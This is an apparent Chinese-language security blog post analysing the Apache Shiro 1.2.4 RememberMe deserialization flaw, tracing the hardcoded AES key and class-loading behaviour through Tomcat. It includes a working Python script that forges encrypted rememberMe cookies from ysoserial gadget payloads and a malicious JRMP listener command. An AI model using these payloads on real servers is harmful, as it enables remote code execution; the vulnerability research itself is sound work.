简介

Apache Shiro™是一个强大且易用的Java安全框架,能够用于身份验证、授权、加密和会话管理。Shiro拥有易于理解的API,您可以快速、轻松地获得任何应用程序——从最小的移动应用程序到最大的网络和企业应用程序。

Shiro v1.2.4中使用RememberMe功能时,使用了AESCookie进行加密,但AES密钥硬编码在代码中且不变,因此可以进行加密解密,并触发反序列化漏洞完成任意代码执行。

感觉网上的分析的文章都并不深入,并且在我自己的环境中,发现很多结论感觉都是错的,欢迎打脸ORZ。

环境搭建

  • java version "1.7.0_21",方便使用 ysoserial中的payload

  • Server version: Apache Tomcat/8.5.56,jdk1.7支持tomcat8

  • shiro-root-1.2.4,9549384b0d7b77b87733892ab00b94cc31019444,漏洞分支

  • commons-collections4,适用于ysoserial中的payload

使用Apache Shiro Quickstart示例页面进行测试

git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4  #切换分支

使用shiro/samples/web示例项目目录,IDEA导入并进行设置。

配置~/.m2/toolchains.xml,添加jdk

<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
  <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.7</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>/Library/Java/JavaVirtualMachines/jdk1.7.0_21.jdk/</jdkHome>
    </configuration>
  </toolchain>
</toolchains>

配置pom.xml,添加依赖库

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">

    <parent>
        <groupId>org.apache.shiro.samples</groupId>
        <artifactId>shiro-samples</artifactId>
        <version>1.2.4</version>
        <relativePath>../pom.xml</relativePath>
    </parent>

    <modelVersion>4.0.0</modelVersion>
    <artifactId>samples-web</artifactId>
    <name>Apache Shiro :: Samples :: Web</name>
    <packaging>war</packaging>

    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-toolchains-plugin</artifactId>
                <version>1.1</version>
                <executions>
                    <execution>
                        <goals>
                            <goal>toolchain</goal>
                        </goals>
                    </execution>
                </executions>
                <configuration>
                    <toolchains>
                        <jdk>
                            <version>1.7</version>
                            <vendor>sun</vendor>
                        </jdk>
                    </toolchains>
                </configuration>
            </plugin>
            <plugin>
                <artifactId>maven-surefire-plugin</artifactId>
                <configuration>
                    <forkMode>never</forkMode>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.mortbay.jetty</groupId>
                <artifactId>maven-jetty-plugin</artifactId>
                <version>${jetty.version}</version>
                <configuration>
                    <contextPath>/</contextPath>
                    <connectors>
                        <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
                            <port>9080</port>
                            <maxIdleTime>60000</maxIdleTime>
                        </connector>
                    </connectors>
                    <requestLog implementation="org.mortbay.jetty.NCSARequestLog">
                        <filename>./target/yyyy_mm_dd.request.log</filename>
                        <retainDays>90</retainDays>
                        <append>true</append>
                        <extended>false</extended>
                        <logTimeZone>GMT</logTimeZone>
                    </requestLog>
                </configuration>
            </plugin>
        </plugins>
    </build>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>servlet-api</artifactId>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-log4j12</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>net.sourceforge.htmlunit</groupId>
            <artifactId>htmlunit</artifactId>
            <version>2.6</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jsp-2.1-jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>jcl-over-slf4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>

</project>

下载JSTL标签库,导入到IDEA中

IDEA中添加设置tomcat服务器:

运行成功:

生成Cookie的POC:

import base64
import uuid
import subprocess
from Crypto.Cipher import AES


def rememberme(command):
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections5', command],
                             stdout=subprocess.PIPE)
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    # payload = encode_rememberme('127.0.0.1:12345')

    payload = rememberme('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
    # payload = encode_rememberme('http://shiro.f422cd57.n0p.co')
    with open("./payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()))

漏洞分析

org/apache/shiro/mgt/DefaultSecurityManager.java:492

使用resolvePrincipals方法启发式解析上下文凭据

org/apache/shiro/mgt/DefaultSecurityManager.java:604

获取RememberMeManager对象,并调用getRememberedPrincipals方法

org/apache/shiro/mgt/AbstractRememberMeManager.java:393

继续调用getRememberedSerializedIdentity方法

org/apache/shiro/web/mgt/CookieRememberMeManager.java:215

获取序列化的凭证,从请求中获取Cookie中的rememberMe并进行base64解码,解码后内容为AES加密内容并返回。

org/apache/shiro/mgt/AbstractRememberMeManager.java:396

将解码的内容传入convertBytesToPrincipals进行AES解密和反序列化

org/apache/shiro/mgt/AbstractRememberMeManager.java:429

调用decrypt函数进行AES解密

org.apache.shiro.mgt.AbstractRememberMeManager#decrypt

跟进getDecryptionCipherKey函数

org.apache.shiro.mgt.AbstractRememberMeManager#getDecryptionCipherKey

返回获取解密密钥

org.apache.shiro.mgt.AbstractRememberMeManager#decryptionCipherKey

成员decryptionCipherKey存储着硬编码的密钥,当每次shiro启动初始化时就会使用硬编码进行赋值。

org.apache.shiro.mgt.AbstractRememberMeManager#AbstractRememberMeManager

shiro启动时在构造函数中设置密钥为DEFAULT_CIPHER_KEY_BYTES

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

DEFAULT_CIPHER_KEY_BYTES为硬编码,继续跟进。

org.apache.shiro.mgt.AbstractRememberMeManager#setEncryptionCipherKey

密钥设置完成,以供后续使用,密钥设置的调用栈:

setEncryptionCipherKey:192, AbstractRememberMeManager (org.apache.shiro.mgt)
setCipherKey:250, AbstractRememberMeManager (org.apache.shiro.mgt)
<init>:109, AbstractRememberMeManager (org.apache.shiro.mgt)
<init>:87, CookieRememberMeManager (org.apache.shiro.web.mgt)
<init>:75, DefaultWebSecurityManager (org.apache.shiro.web.mgt)
createDefaultInstance:65, WebIniSecurityManagerFactory (org.apache.shiro.web.config)
createDefaults:146, IniSecurityManagerFactory (org.apache.shiro.config)
createDefaults:71, WebIniSecurityManagerFactory (org.apache.shiro.web.config)
createSecurityManager:123, IniSecurityManagerFactory (org.apache.shiro.config)
createSecurityManager:102, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:88, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:46, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:123, IniFactorySupport (org.apache.shiro.config)
getInstance:47, AbstractFactory (org.apache.shiro.util)
createWebSecurityManager:203, IniWebEnvironment (org.apache.shiro.web.env)
configure:99, IniWebEnvironment (org.apache.shiro.web.env)
init:92, IniWebEnvironment (org.apache.shiro.web.env)
init:45, LifecycleUtils (org.apache.shiro.util)
init:40, LifecycleUtils (org.apache.shiro.util)
createEnvironment:221, EnvironmentLoader (org.apache.shiro.web.env)
initEnvironment:133, EnvironmentLoader (org.apache.shiro.web.env)
contextInitialized:58, EnvironmentLoaderListener (org.apache.shiro.web.env)
listenerStart:4689, StandardContext (org.apache.catalina.core)
startInternal:5155, StandardContext (org.apache.catalina.core)
start:183, LifecycleBase (org.apache.catalina.util)
addChildInternal:743, ContainerBase (org.apache.catalina.core)
addChild:719, ContainerBase (org.apache.catalina.core)
addChild:705, StandardHost (org.apache.catalina.core)
manageApp:1719, HostConfig (org.apache.catalina.startup)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invoke:286, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:792, JmxMBeanServer (com.sun.jmx.mbeanserver)
createStandardContext:479, MBeanFactory (org.apache.catalina.mbeans)
createStandardContext:428, MBeanFactory (org.apache.catalina.mbeans)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invoke:286, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:792, JmxMBeanServer (com.sun.jmx.mbeanserver)
invoke:468, MBeanServerAccessController (com.sun.jmx.remote.security)
doOperation:1486, RMIConnectionImpl (javax.management.remote.rmi)
access$300:96, RMIConnectionImpl (javax.management.remote.rmi)
run:1327, RMIConnectionImpl$PrivilegedOperation (javax.management.remote.rmi)
doPrivileged:-1, AccessController (java.security)
doPrivilegedOperation:1426, RMIConnectionImpl (javax.management.remote.rmi)
invoke:847, RMIConnectionImpl (javax.management.remote.rmi)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
dispatch:322, UnicastServerRef (sun.rmi.server)
run:177, Transport$1 (sun.rmi.transport)
run:174, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:173, Transport (sun.rmi.transport)
handleMessages:553, TCPTransport (sun.rmi.transport.tcp)
run0:808, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:667, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
run:722, Thread (java.lang)

返回整体流程

org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[])

org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[], byte[])

org.apache.shiro.crypto.JcaCipherService#crypt(byte[], byte[], byte[], int)

org.apache.shiro.crypto.JcaCipherService#crypt(javax.crypto.Cipher, byte[])

初始化Cipher实例,设置执行模式以及密钥,步步跟进,完成AES解密,返回使用ysoserial生成的序列化的payload。

org.apache.shiro.mgt.AbstractRememberMeManager#deserialize

org.apache.shiro.io.DefaultSerializer#deserialize

跟进并看到了熟悉的readObject,这里就是反序列化的触发点,此时的调用栈为:

deserialize:77, DefaultSerializer (org.apache.shiro.io)
deserialize:514, AbstractRememberMeManager (org.apache.shiro.mgt)
convertBytesToPrincipals:431, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedPrincipals:396, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt)
createSubject:342, DefaultSecurityManager (org.apache.shiro.mgt)
buildSubject:846, Subject$Builder (org.apache.shiro.subject)
buildWebSubject:148, WebSubject$Builder (org.apache.shiro.web.subject)
createSubject:292, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilterInternal:359, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:690, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:615, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:818, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1627, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:722, Thread (java.lang)

JDK1.8+commons-collections-3.2.1 深入探究

前文添加commons-collections4.0,而Shiro自带的commons-collections-3.2.1

JDK1.8u112中,可以直接利用ysoserial中的Commons-Collections5(3.1-3.2.1,jdk1.8)

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar  CommonsCollections5 "/System/Applications/Calculator.app/Contents/MacOS/Calculator"

直接利用脚本生成Cookie,打出发现报错。

2020-06-22 19:22:48,995 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load class named [[Lorg.apache.commons.collections.Transformer;] from the current ClassLoader.  Trying the system/application ClassLoader...
2020-06-22 19:22:51,375 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;] from class loader [sun.misc.Launcher$AppClassLoader@18b4aac2]
2020-06-23 10:49:39,338 DEBUG [org.apache.shiro.mgt.AbstractRememberMeManager]: There was a failure while trying to retrieve remembered principals.  This could be due to a configuration problem or corrupted principals.  This could also be due to a recently changed encryption key.  The remembered identity will be forgotten and not used for this request.
org.apache.shiro.io.SerializationException: Unable to deserialze argument byte array.

org.apache.shiro.io.ClassResolvingObjectInputStream#resolveClass

发现shiroClassResolvingObjectInputStream 继承了ObjectInputStream,并且resolveClass被重写,调用forName

org.apache.shiro.util.ClassUtils#forName

加载的参数为[Lorg.apache.commons.collections.Transformer;

这是一种对函数返回值和参数的编码,做JNI字段描述符(JavaNative Interface FieldDescriptors),[ 表示数组,一个代表一维数组,比如 [[ 代表二维数组。之后 L 代表类描述符,最后 ;表示类名结束。

首先使用加载器THREAD_CL_ACCESSOR.loadClass,若加载失败返回为null,则尝试使用CLASS_CL_ACCESSOR.loadClass,若继续加载失败返回为null,则尝试使用SYSTEM_CL_ACCESSOR.loadClass,若继续加载失败返回为null,则抛出异常。

org.apache.shiro.util.ClassUtils.ExceptionIgnoringAccessor#loadClass

跟进THREAD_CL_ACCESSOR.loadClass,发现使用loadClass进行加载,跟进cl.loadClass

跳坑

Class.forName不支持原生类型,但其他类型都是支持的。Class.loadClass不能加载原生类型和数组类型,其他类型都是支持的,测试代码如下:

Class classString = ClassLoader.getSystemClassLoader().loadClass("java.lang.String");// 类
Class classEnum =  ClassLoader.getSystemClassLoader().loadClass("java.lang.annotation.RetentionPolicy");// 枚举
Class classInterface =  ClassLoader.getSystemClassLoader().loadClass("java.io.Serializable");// 接口
Class classAnnotation =  ClassLoader.getSystemClassLoader().loadClass("java.lang.annotation.Documented");// 注解
//Class classIntArray =  ClassLoader.getSystemClassLoader().loadClass("[I");// 数组类型不能使用ClassLoader.loadClass方法
//Class classStringArray =  ClassLoader.getSystemClassLoader().loadClass("[Ljava.lang.String;");// 数组类型不能使用ClassLoader.loadClass方法

可以发现确实不能加载,这也是网上公认的[Lorg.apache.commons.collections.Transformer;加载失败的原因。

在我个人搭建的环境下,个人认为这个原因并不准确,如图:

org.apache.shiro.util.ClassUtils.ExceptionIgnoringAccessor#loadClass

在漏洞环境的tomcat上下文中类似[Ljava.lang.StackTraceElement;是可以被加载的

org.apache.catalina.loader.WebappClassLoaderBase#loadClass(java.lang.String)

继续跟进[Lorg.apache.commons.collections.Transformer;,上下文进入了tomcat,IDEA中需要导入tomcat源码。

org/apache/catalina/loader/WebappClassLoaderBase.java:1344

这里可以发现在tomcat的环境中其实最终还是调用了Class.forName,因此是可以加载数组的。

那么为什么不能加载[Lorg.apache.commons.collections.Transformer;呢,经过反复的调试发现java.lang下面的数组可以正常加载,并确定了原因:

  • TomcatJDKClasspath是不公用且不同的,Tomcat启动时,不会用JDKClasspath,需要在catalina.sh中进行单独设置。

    加载失败时,通过System.getProperty("java.class.path")得到Tomcat中的classpath如下:

    /Applications/tomcat8/bin/bootstrap.jar:/Applications/tomcat8/bin/tomcat-juli.jar:/Users/rai4over/Library/Caches/JetBrains/IntelliJIdea2020.1/captureAgent/debugger-agent.jar
    

    可以在catalina.sh中修改如下:

    if [ -r "$CATALINA_BASE/bin/tomcat-juli.jar" ] ; then
      CLASSPATH=$CLASSPATH:$CATALINA_BASE/bin/tomcat-juli.jar
    else
      CLASSPATH=$CLASSPATH:$CATALINA_HOME/bin/tomcat-juli.jar
    fi
      CLASSPATH=$CLASSPATH:/Users/rai4over/.m2/repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar:/Users/rai4over/.m2/repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1-sources.jar
    

    Tomcat重新启动后就能成功加载[Lorg.apache.commons.collections.Transformer;

  • 在tomcat的上下文环境中调用Class.forName(name, false, parent),使用了URLClassLoader作为ClassLoader,但在URLClassLoader中没有包含[Lorg.apache.commons.collections.Transformer;位置,如图所示:

指定commons-collections-3.2.1.jar路径即可

Class.forName("[Lorg.apache.commons.collections.Transformer;", true, new URLClassLoader(new URL[]{new URL("file:///Users/rai4over/.m2/repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar")}));

至于能不能直接成功呢,大家可以自己去尝试,hhhhhhh

出坑

直接给出答案,可以使用JRMP解决问题。

启动恶意的JRMP服务端

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 '/System/Applications/Calculator.app/Contents/MacOS/Calculator'

生成JRMP客户端payload

import base64
import uuid
import subprocess
from Crypto.Cipher import AES

def rememberme(command):
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections5', command],
                             stdout=subprocess.PIPE)
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    # payload = encode_rememberme('127.0.0.1:12345')
    payload = rememberme('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
    # payload = encode_rememberme('http://shiro.f422cd57.n0p.co')
    with open("./payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()))

那为什么JRMP能够成功呢?受害服务器成为JRMP客户端时,根据ClassLoader猜测受害服务器加载过程的不依赖外部库。

ysoserial/src/main/java/ysoserial/payloads/JRMPClient.java

import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

翻看ysoserial源码payload所需类确实均为JDK下。

受害服务器最终肯定是要依靠Transformer完成任意代码执行的,那么[Lorg.apache.commons.collections.Transformer;究竟如何加载的呢。

受害服务器第一次反序列化成为JRMP客户端,并连接恶意的JRMP服务端,主要涉及模块sun.rmi.*

sun.rmi.transport.DGCClient#registerRefs

可以看到恶意服务器地址,然后一路跟进

sun.rmi.transport.DGCImpl_Stub#dirty

看起来和RMI的过程相似

sun.rmi.server.UnicastRef#invoke(java.rmi.server.RemoteCall)

sun/rmi/transport/StreamRemoteCall.class:169

连接通信的过程涉及序列化和反序列化,受害服务器接受恶意数据并进行了第二次反序列化,this.in类型为ConnectionInputStream

ConnectionInputStream通过父类MarshalInputStream重写了resolveClass

sun.rmi.server.LoaderHandler#loadClass(java.lang.String, java.lang.String, java.lang.ClassLoader)

sun/rmi/server/LoaderHandler.class:557

这里使用Class.forName加载[Lorg.apache.commons.collections.Transformer;,并且ClassloaderParallelWebappClassLoader,此为可并行的Webapp加载器,包含整个应用所需的Class加载方式。

因此加载[Lorg.apache.commons.collections.Transformer;成功,当前的调用栈为:

forName:348, Class (java.lang)
loadClassForName:1221, LoaderHandler (sun.rmi.server)
loadClass:175, LoaderHandler (sun.rmi.server)
loadClass:637, RMIClassLoader$2 (java.rmi.server)
loadClass:264, RMIClassLoader (java.rmi.server)
resolveClass:219, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1620, ObjectInputStream (java.io)
readClassDesc:1521, ObjectInputStream (java.io)
readArray:1671, ObjectInputStream (java.io)
readObject0:1347, ObjectInputStream (java.io)
defaultReadFields:2018, ObjectInputStream (java.io)
readSerialData:1942, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
defaultReadFields:2018, ObjectInputStream (java.io)
defaultReadObject:503, ObjectInputStream (java.io)
readObject:143, LazyMap (org.apache.commons.collections.map)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
defaultReadFields:2018, ObjectInputStream (java.io)
readSerialData:1942, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
access$300:208, ObjectInputStream (java.io)
readFields:2182, ObjectInputStream$GetFieldImpl (java.io)
readFields:543, ObjectInputStream (java.io)
readObject:71, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
access$300:208, ObjectInputStream (java.io)
readFields:2182, ObjectInputStream$GetFieldImpl (java.io)
readFields:543, ObjectInputStream (java.io)
readObject:71, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
defaultReadFields:2018, ObjectInputStream (java.io)
readSerialData:1942, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
deserialize:77, DefaultSerializer (org.apache.shiro.io)
deserialize:514, AbstractRememberMeManager (org.apache.shiro.mgt)
convertBytesToPrincipals:431, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedPrincipals:396, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt)
createSubject:342, DefaultSecurityManager (org.apache.shiro.mgt)
buildSubject:846, Subject$Builder (org.apache.shiro.subject)
buildWebSubject:148, WebSubject$Builder (org.apache.shiro.web.subject)
createSubject:292, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilterInternal:359, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:690, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:615, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:818, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1627, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

总结

两种方式都是使用Class.forName进行数组加载,但是Classloader大不相同,因此一个能成功一个不行。网上说的都不一定对,人云亦云的比较多,看Java就得像p老板说的敢去翻源码,hhhhhh。

参考

https://blog.csdn.net/moakun/article/details/80402562

https://paper.seebug.org/shiro-rememberme-1-2-4/

https://blog.csdn.net/u012643122/article/details/46523007

https://blog.orange.tw/2018/03/

https://hunterzhao.io/post/2018/05/15/hotspot-explore-java-lang-class-forname/

https://blog.csdn.net/Brady74/article/details/75072404

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖